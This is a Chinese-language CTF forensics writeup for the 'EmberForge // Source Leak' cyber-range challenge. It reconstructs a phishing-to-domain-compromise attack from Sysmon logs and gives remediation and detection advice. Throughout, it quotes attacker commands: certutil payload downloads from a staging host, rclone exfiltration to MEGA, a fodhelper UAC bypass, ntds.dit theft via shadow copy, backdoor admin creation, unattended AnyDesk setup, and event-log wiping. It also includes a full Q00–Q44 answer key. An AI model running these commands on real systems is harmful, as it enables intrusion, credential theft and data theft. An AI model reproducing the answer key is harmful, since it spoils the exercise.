richvincent/emberforge-source-leak
GitHub: richvincent/emberforge-source-leak
一份详尽的 CTF 取证 writeup,展示如何通过 KQL 与 Microsoft Sentinel 分析 Sysmon 数据重建完整攻击链并完成事件响应。
Stars: 0 | Forks: 0
# EmberForge // Source Leak — 事件报告与 CTF Writeup
**挑战:** EmberForge // Source Leak
**平台:** LOG(N) Pacific Cyber Range (Skool)
**分析员:** Rich Vincent
**完成日期:** 2026-04-04
**数据源:** `EmberForgeX_CL` (Sysmon + Windows Security 事件,18,250 行)
**Sentinel 工作区:** `LAW-Cyber-Range` — `60c7f53e-249a-4077-b68e-55a4ae877d7c`
## 执行摘要
一名威胁行为者通过网络钓鱼投递的 ISO 文件入侵了 `emberforge.local` 域,在单次攻击会话中实现了完全的域控 compromise。攻击者使用凭证 `jwilson.vhr@proton.me` / `Summer2024!` 将整个 `C:\GameDev` 源代码仓库(42.3 GB)窃取到 MEGA 云存储。域凭证是通过在域控制器上的 VSS 卷影副本中提取 NTDS.dit 窃取的。攻击者通过 AnyDesk 建立了持久远程访问,并创建了一个后门域管理员账户(`svc_backup`)。DC 上的安全和系统事件日志随后被清除以阻碍取证调查——然而,Sysmon 遥测数据在清除中幸存下来,并提供了对攻击链的近乎完整的重建。
**三台主机被入侵:**
| 主机名 | 角色 | 操作系统 |
|---|---|---|
| EC2AMAZ-B9GHHO6 | Lisa Martin 的工作站 | Windows 10 |
| EC2AMAZ-16V3AU4 | 内部文件/应用服务器 | Windows Server |
| EC2AMAZ-EEU3IA2 | 域控制器 | Windows Server |
## MITRE ATT&CK Kill Chain
| 阶段 | 技术 | ID |
|---|---|---|
| 初始访问 | Phishing: Spearphishing Attachment | T1566.001 |
| 初始访问 | Mark-of-the-Web Bypass via ISO | T1553.005 |
| 执行 | Rundll32 DLL Execution | T1218.011 |
| 执行 | Command and Scripting Interpreter | T1059.003 |
| 持久化 | Scheduled Task (WindowsUpdate) | T1053.005 |
| 持久化 | Remote Access Software (AnyDesk) | T1219 |
| 持久化 | Create Account: Domain Account (svc_backup) | T1136.002 |
| 权限提升 | Abuse Elevation Control: fodhelper UAC Bypass | T1548.002 |
| 防御规避 | Process Injection: CreateRemoteThread | T1055.003 |
| 防御规避 | Indicator Removal: Clear Windows Event Logs | T1070.001 |
| 防御规避 | Masquerading: Scheduled Task Name (WindowsUpdate) | T1036.004 |
| 凭证访问 | OS Credential Dumping: LSASS (direct syscalls) | T1003.001 |
| 凭证访问 | OS Credential Dumping: NTDS.dit via VSS | T1003.003 |
| 发现 | Domain Account Discovery | T1087.002 |
| 发现 | Domain Trust Discovery (nltest) | T1482 |
| 横向移动 | Remote Services: SMB (Impacket smbexec) | T1021.002 |
| 横向移动 | Scheduled Task/Job: atexec | T1053.005 |
| 收集 | Archive Collected Data: Compress-Archive | T1560.001 |
| 窃取 | Exfiltration to Cloud Storage (MEGA/rclone) | T1567.002 |
| 命令与控制 | Application Layer Protocol: HTTPS | T1071.001 |
| 命令与控制 | Domain Fronting / Cloudflare CDN | T1090.004 |
## 攻击时间线
所有时间均提取自 Sysmon/Windows 事件 XML (`SystemTime`)。Sentinel 摄取时间戳不可靠(所有事件约在 22:35–22:44 UTC 摄取)。
### 阶段 1 — 初始访问 (EC2AMAZ-B9GHHO6)
**用户:** `EMBERFORGE\lmartin` (Lisa Martin)
1. Lisa 打开 `EmberForge_Review.iso` — Windows 将其挂载为驱动器 `D:`,绕过了 Mark-of-the-Web(ISO 容器没有 Zone.Identifier ADS 传播)。
2. 该 ISO 包含 `review.dll`。
**执行:**
```
explorer.exe
└─ rundll32.exe D:\review.dll,StartW [EventCode 1, lmartin context]
└─ notepad.exe [EventCode 8 - CreateRemoteThread injection]
```
- `review.dll` 将 shellcode 存根注入 `notepad.exe`(初始中等完整性立足点)。
- `notepad.exe` 下载并投递 `C:\Users\Public\update.exe`(主要 C2 implant)。
### 阶段 2 — C2 建立与 UAC 绕过 (EC2AMAZ-B9GHHO6)
**C2 域:** `cdn.cloud-endpoint.net`
**C2 IP:** `104.21.30.237` (主要), `172.67.174.46` (次要) — 均为 Cloudflare,同源
**协议:** HTTPS (端口 443)
`update.exe` 建立持久的 C2 信标。随后攻击者提升权限:
**fodhelper UAC 绕过:**
```
update.exe writes registry:
HKU\..._Classes\ms-settings\shell\open\command\(Default) = update.exe
HKU\..._Classes\ms-settings\shell\open\command\DelegateExecute = (empty)
cmd.exe /c fodhelper.exe → fodhelper.exe spawns update.exe at HIGH integrity
```
**提权后的稳定注入:**
```
update.exe (HIGH)
└─ spoolsv.exe [CreateRemoteThread — elevated, SYSTEM context]
```
**持久化(工作站):**
```
schtasks /create /tn WindowsUpdate /tr C:\Users\Public\update.exe /sc onstart /ru system
```
任务名称 `WindowsUpdate` 伪装成合法的 Windows 更新机制。
### 阶段 3 — 凭证转储与发现 (EC2AMAZ-B9GHHO6)
**LSASS 转储:**
- `update.exe` 使用直接系统调用转储 LSASS(绕过用户态 EDR hooks)
- 输出:`C:\Windows\System32\lsass.dmp`
**域侦察(均通过提权后的 update.exe/spoolsv.exe):**
```
net user /domain
net group "Domain Admins" /domain
nltest /dclist:emberforge.local
```
**添加防火墙规则:**
```
netsh advfirewall firewall add rule name="SMB" dir=in action=allow protocol=tcp localport=445
```
为工具暂存共享访问启用入站 SMB。
### 阶段 4 — 横向移动到服务器 (EC2AMAZ-16V3AU4)
**工具暂存(来自工作站):**
- 攻击者通过 `\\10.1.173.145\tools`(工作站上的 SMB 共享)共享工具
- 服务器拉取负载:`copy \\10.1.173.145\tools\update.exe C:\Users\Public\update.exe`
**替代暂存 (LOLBin):**
```
certutil.exe -urlcache -f http://sync.cloud-endpoint.net:8080/update.exe C:\Users\Public\update.exe
certutil.exe -urlcache -split -f http://sync.cloud-endpoint.net:8080/AnyDesk.exe C:\Users\Public\AnyDesk.exe
```
**暂存服务器:** `sync.cloud-endpoint.net:8080` (HTTP,攻击者控制)
**失败的横向移动尝试:**
- 攻击者尝试从工作站 (10.1.173.145) 向服务器进行 NTLM pass-the-hash
- 出现状态为 `0x80090308` 的 4625 事件(NTLM 签名无效) — 哈希不可用
- 攻击者转向使用 Impacket **smbexec**
**服务器上的 Impacket smbexec — 第一条命令:**
```
whoami
```
在继续之前确认执行上下文。
### 阶段 5 — 数据窃取 (EC2AMAZ-16V3AU4)
**归档创建:**
```
Compress-Archive -Path C:\GameDev -DestinationPath C:\Users\Public\gamedev.zip
```
**逐行构建 rclone 配置(以避免一次将完整配置写入磁盘):**
```
echo [mega]>> C:\Users\Public\rclone.conf
echo type = mega>> C:\Users\Public\rclone.conf
echo user = jwilson.vhr@proton.me>> C:\Users\Public\rclone.conf
echo pass = 1PS7P86ziG00iZmuq5XFbyEXKkkB8ClOiwBY>> C:\Users\Public\rclone.conf
```
**rclone 混淆密码是通过以下方式生成的:**
```
rclone.exe obscure Summer2024! → 1PS7P86ziG00iZmuq5XFbyEXKkkB8ClOiwBY
```
**窃取命令:**
```
rclone.exe --config C:\Users\Public\rclone.conf copy C:\GameDev mega:exfil -v
rclone.exe copy C:\GameDev mega:exfil --mega-user jwilson.vhr@proton.me --mega-pass Summer2024! -v
```
**攻击者凭证以明文暴露:**
- MEGA 账户:`jwilson.vhr@proton.me`
- MEGA 密码:`Summer2024!`
### 阶段 6 — 横向移动到域控制器 (EC2AMAZ-EEU3IA2)
**Impacket atexec — DC 上的第一条命令:**
攻击者在 DC 上的第一条命令是通过 atexec(计划任务执行)进行的验证检查:
```
whoami [23:19:21 UTC - atexec random scheduled task]
```
确认在 DC 上以 SYSTEM 权限执行,随后转向 smbexec 进行更重型的操作。
**DC 上的 Impacket smbexec — 通过 VSS 提取 NTDS:**
随机命名的服务(7045 事件)执行了以下序列:
```
vssadmin list shadows /for=C: [service: zgECPPnE]
vssadmin create shadow /For=C: [service: JKEpKhcH]
vssadmin list shadows /for=C: [service: ROeVQtpt]
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit
%SYSTEMROOT%\Temp\nyMdRNSp.tmp [service: fHxLXpku]
vssadmin delete shadows /shadow="{0ed56514-...}" /Quiet [service: YOzedHWI]
```
`ntds.dit` 副本暂存于:`C:\Windows\Temp\nyMdRNSp.tmp`
### 阶段 7 — 后门账户创建 (EC2AMAZ-EEU3IA2)
```
net user svc_backup P@ssw0rd123! /add /domain
net group "Domain Admins" svc_backup /add /domain
```
**后门账户:** `svc_backup` / `P@ssw0rd123!` — 直接添加到 Domain Admins。
### 阶段 8 — 远程访问持久化 (EC2AMAZ-B9GHHO6)
**静默安装 AnyDesk:**
```
AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
net start AnyDesk
```
**修改配置以实现无人值守访问:**
```
cmd.exe /c type C:\ProgramData\AnyDesk\system.conf
cmd.exe /c echo ad.security.interactive_access=2 >> C:\ProgramData\AnyDesk\system.conf
cmd.exe /c echo ad.security.unattended_access_password_hash=5e884898da28047d91089d3f7c6e12d05d0fb9e2 >> C:\ProgramData\AnyDesk\system.conf
```
- `interactive_access=2` — 允许无需用户批准的无人值守连接
- `5e884898da28047d91089d3f7c6e12d05d0fb9e2` — `password` 的 SHA1 哈希
**AnyDesk 无人值守密码:** `password`
**配置位置:** `C:\ProgramData\AnyDesk\system.conf`
### 阶段 9 — 反取证 (EC2AMAZ-EEU3IA2)
```
wevtutil cl Security
wevtutil cl System
```
通过 smbexec 执行(svchost → cmd → wevtutil)。DC 上的 Security 和 System 事件日志被完全擦除,导致登录事件、权限使用和对象访问记录出现缺口。
**证据缺口影响:** 无法从 Windows Event Log 恢复 DC 的登录事件 (4624/4625)、对象访问 (4662) 和权限分配。然而,DC 上的 Sysmon 数据(EventCodes 1, 3, 8, 11, 13, 15)得以幸存,因为它记录到单独的通道(`Microsoft-Windows-Sysmon/Operational`)且未被攻击者清除。DC 上的完整进程执行链可以仅通过 Sysmon 重建。
## 证据清单
### EC2AMAZ-B9GHHO6(工作站)上的工件
| 工件 | 路径 | 用途 |
|---|---|---|
| ISO 投递 | `C:\Users\lmartin.EMBERFORGE\Downloads\EmberForge_Review\EmberForge_Review.iso` | 钓鱼投递,MotW 绕过 |
| 恶意 DLL | `D:\review.dll` | 通过 rundll32 初始执行 |
| C2 implant | `C:\Users\Public\update.exe` | 主要 C2 信标 |
| LSASS 转储 | `C:\Windows\System32\lsass.dmp` | 凭证窃取 |
| AnyDesk 安装程序 | `C:\Users\Public\AnyDesk.exe` | 通过 certutil 暂存 |
| AnyDesk 已安装 | `C:\ProgramData\AnyDesk\AnyDesk.exe` | 远程访问服务 |
| AnyDesk 配置 | `C:\ProgramData\AnyDesk\system.conf` | 无人值守访问配置 |
| 计划任务 | `C:\Windows\System32\Tasks\WindowsUpdate` | 持久化 (`/sc onstart /ru system`) |
### EC2AMAZ-16V3AU4(服务器)上的工件
| 工件 | 路径 | 用途 |
|---|---|---|
| C2 implant | `C:\Users\Public\update.exe` | 横向移动负载 |
| rclone | `C:\Users\Public\rclone.exe` | 窃取工具 |
| rclone 配置 | `C:\Users\Public\rclone.conf` | MEGA 凭证 |
| 归档 | `C:\Users\Public\gamedev.zip` | 暂存的窃取归档 |
### EC2AMAZ-EEU3IA2(域控制器)上的工件
| 工件 | 路径 | 用途 |
|---|---|---|
| ntds.dit 副本 | `C:\Windows\Temp\nyMdRNSp.tmp` | 域凭证窃取 |
| Smbexec 临时 bat | `C:\Windows\Temp\execute.bat` | Smbexec 执行暂存(临时) |
### 网络入侵指标
| 指标 | 类型 | 用途 |
|---|---|---|
| `cdn.cloud-endpoint.net` | C2 域 | 主要 C2(Cloudflare 前置) |
| `sync.cloud-endpoint.net` | 暂存域 | 负载投递(端口 8080 HTTP) |
| `104.21.30.237` | C2 IP | 主要 C2 端点 |
| `172.67.174.46` | C2 IP | 次要 C2 端点 |
| `jwilson.vhr@proton.me` | 攻击者邮箱 | MEGA 窃取账户 |
| `Summer2024!` | 凭证 | MEGA 密码(在 rclone 参数中) |
### 被入侵的域凭证
| 账户 | 密码 | 来源 | 权限 |
|---|---|---|---|
| `svc_backup` | `P@ssw0rd123!` | 攻击者创建 | Domain Admin |
| `jwilson.vhr@proton.me` | `Summer2024!` | 攻击者 MEGA 账户 | N/A |
| 所有域账户 | (通过 ntds.dit) | NTDS.dit 提取 | 所有 |
## 答案参考 (Q00–Q44)
| 题号 | 主题 | 答案 |
|---|---|---|
| Q00 | 自定义日志表 | `EmberForgeX_CL` |
| Q01 | 窃取源目录 | `C:\GameDev` |
| Q02 | 云服务商 | MEGA |
| Q03 | 攻击者邮箱 | `jwilson.vhr@proton.me` |
| Q04 | 域凭证文件 | `ntds.dit` |
| Q05 | 窃取工具 | `rclone.exe` |
| Q06 | 窃取目标 IP | *(MEGA cloud IP)* |
| Q07 | 明文 MEGA 密码 | `Summer2024!` |
| Q08 | 归档 cmdlet | `Compress-Archive` |
| Q09 | 暂存服务器 | `sync.cloud-endpoint.net` |
| Q10 | 最早的恶意进程 | `review.dll` |
| Q11 | 投递驱动器号 | `D:` |
| Q12 | 被入侵用户 | `lmartin` |
| Q13 | 执行链 | `explorer.exe > rundll32.exe > review.dll` |
| Q14 | 投递解包 | `rundll32.exe > C:\Users\Public\` |
| Q15 | 投放的负载路径 | `C:\Users\Public\update.exe` |
| Q16 | C2 域 | `cdn.cloud-endpoint.net` |
| Q17 | 主要 C2 IP | `104.21.30.237` |
| Q18 | 初始注入链 | `rundll32.exe > notepad.exe` |
| Q19 | UAC 绕过二进制 | `fodhelper.exe` |
| Q20 | 注册表绕过值 | `DelegateExecute` |
| Q21 | 稳定注入链 | `update.exe > spoolsv.exe` |
| Q22 | 凭证转储进程 | `update.exe` |
| Q23 | LSASS 转储路径 | `C:\Windows\System32\lsass.dmp` |
| Q24 | 用户枚举命令 | `net user /domain` |
| Q25 | 权限枚举命令 | `net group "Domain Admins" /domain` |
| Q26 | 基础设施映射命令 | `nltest /dclist:emberforge.local` |
| Q27 | 工具暂存命令 | `copy \\10.1.173.145\tools\update.exe C:\Users\Public\update.exe` |
| Q28 | 防火墙规则名称 | `SMB` |
| Q29 | 提权后父进程 | `fodhelper.exe` |
| Q30 | 信标分发命令 | `certutil.exe -urlcache -f http://sync.cloud-endpoint.net:8080/update.exe C:\Users\Public\update.exe` |
| Q31 | LOLBin 工具暂存 | `certutil.exe > http://sync.cloud-endpoint.net:8080/update.exe` |
| Q32 | Smbexec 服务名称 | *(random 8-char, case-sensitive)* |
| Q33 | 服务器上第一条命令 | `whoami` |
| Q34 | 失败横向移动协议 | `NTLM` |
| Q35 | DC 到达序列 | `whoami > vssadmin.exe` |
| Q36 | 后门账户 | `svc_backup` |
| Q37 | 后门密码 | `P@ssw0rd123!` |
| Q38 | 权限组 | `Domain Admins` |
| Q39 | 暴露凭证 | `Summer2024!` |
| Q40 | 计划任务 (flag) | `WindowsUpdate` |
| Q41 | 远程访问工具 | `AnyDesk` |
| Q42 | 远程访问配置路径 | `C:\ProgramData\AnyDesk\system.conf` |
| Q43 | 反取证工具 | `wevtutil` |
| Q44 | 被清除的事件日志 | `Security, System` |
## 证据缺口与局限性
攻击者在 DC 上使用了 `wevtutil cl Security` 和 `wevtutil cl System`,造成以下方面的缺口:
- **Windows Security 日志 (DC):** 登录事件 (4624/4625)、Kerberos (4768/4769)、权限使用、对象访问 (4662)、账户管理事件 (4720/4732/4756)
- **Windows System 日志 (DC):** 服务控制事件 (7036) 及攻击窗口之外的其他系统记录
**幸存内容:** 所有三个主机上的 Sysmon 遥测(单独的通道,未被清除)提供了完整的进程执行、网络连接、文件创建和注册表修改记录。尽管日志被清除,攻击链仍可完全重建。
## 建议
### 立即(事件响应)
1. **轮换所有域凭证** — ntds.dit 已被窃取;所有密码哈希均已受损
2. **禁用/删除 `svc_backup`** 域管理员账户
3. **撤销 `jwilson.vhr@proton.me` 的 MEGA 访问权限**并报告给 MEGA 滥用团队
4. **从 EC2AMAZ-B9GHHO6 移除 AnyDesk 服务**并使所有 AnyDesk ID 失效
5. **删除 `WindowsUpdate` 计划任务**并从 Public 文件夹移除 `update.exe`
6. **封锁 C2 域/IP:** `cdn.cloud-endpoint.net`、`sync.cloud-endpoint.net`、`104.21.30.237`、`172.67.174.46`
7. **重置 KRBTGT 账户**两次(间隔 24 小时)以使任何伪造的 Kerberos 票证失效
### 检测改进
1. **对 `wevtutil cl` 发出警报** — 批量清除 Security/System 日志无合法的管理用例
2. **对最终用户挂载 ISO/IMG 发出警报** — 主要的 MotW 绕过载体
3. **对从可移动/挂载驱动器加载 DLL 的 `rundll32.exe` 发出警报**
4. **对 `fodhelper.exe` 生成子进程发出警报**(UAC 绕过指标)
5. **对下载可执行文件的 `certutil -urlcache` 发出警报**
6. **对服务器和工作站上的 rclone/云同步工具发出警报**
7. **监控 Impacket 特征:** 随机 8 字符服务名称 (7045)、atexec 临时文件模式(`__output_*`、`.bat` 在 `C:\Windows\` 中)
8. **对 `vssadmin create shadow` 随后访问 ntds.dit 发出警报**
### 加固
1. **通过 GPO 禁用 ISO 自动播放** (`NoDriveTypeAutoRun`)
2. **强制执行应用程序允许列表** (WDAC/AppLocker) — 阻止来自用户目录的未签名 DLL
3. **启用 Credential Guard** — 即使使用直接系统调用也能防止 LSASS 内存访问
4. **为所有特权账户启用 Protected Users** 安全组
5. **通过 GPO 将计划任务创建限制为管理员**
6. **在所有主机上部署 Sysmon**(此处已部署 — 它挽救了本次调查)
7. **在 Sysmon 上启用篡改保护**以防止其通道的日志清除
8. **尽可能禁用 RDP 和 SSH 的密码认证**
9. **为本地管理员账户实施 LAPS**以防止通过共享凭证进行横向移动
## 关键调查经验:Sentinel 摄取与事件时间
`EmberForgeX_CL` 中的所有 18,250 个事件具有几乎相同的 `TimeGenerated` 值(批量摄取于 ~22:35–22:44 UTC)。**不要使用 `TimeGenerated` 进行攻击排序。** 实际事件时间嵌入在 `Raw_s` 的 Sysmon/Windows XML 中:
```
```
这一区别对于 Q35(DC 到达)至关重要:`23:19:21` 的 atexec `whoami` 先于 `23:34:55` 的 smbexec `vssadmin` 操作——仅从 `TimeGenerated` 无法看到的 15 分钟差距。在对事件排序时,务必从 `Raw_s` 中提取真实事件时间。
标签:AnyDesk, ATT&CK框架, CIDR输入, CTF Writeup, HTTP工具, ISO文件钓鱼, KQL, Kusto查询语言, MEGAsync, Microsoft Sentinel, NTDS.dit提取, rundll32滥用, Sysmon, Windows Server, Windows安全日志, 协议分析, 卷影复制, 后门账户, 域控制器攻击, 数字取证, 数据窃取, 权限提升, 清除事件日志, 源码泄露, 网络安全靶场, 自动化脚本, 远程控制软件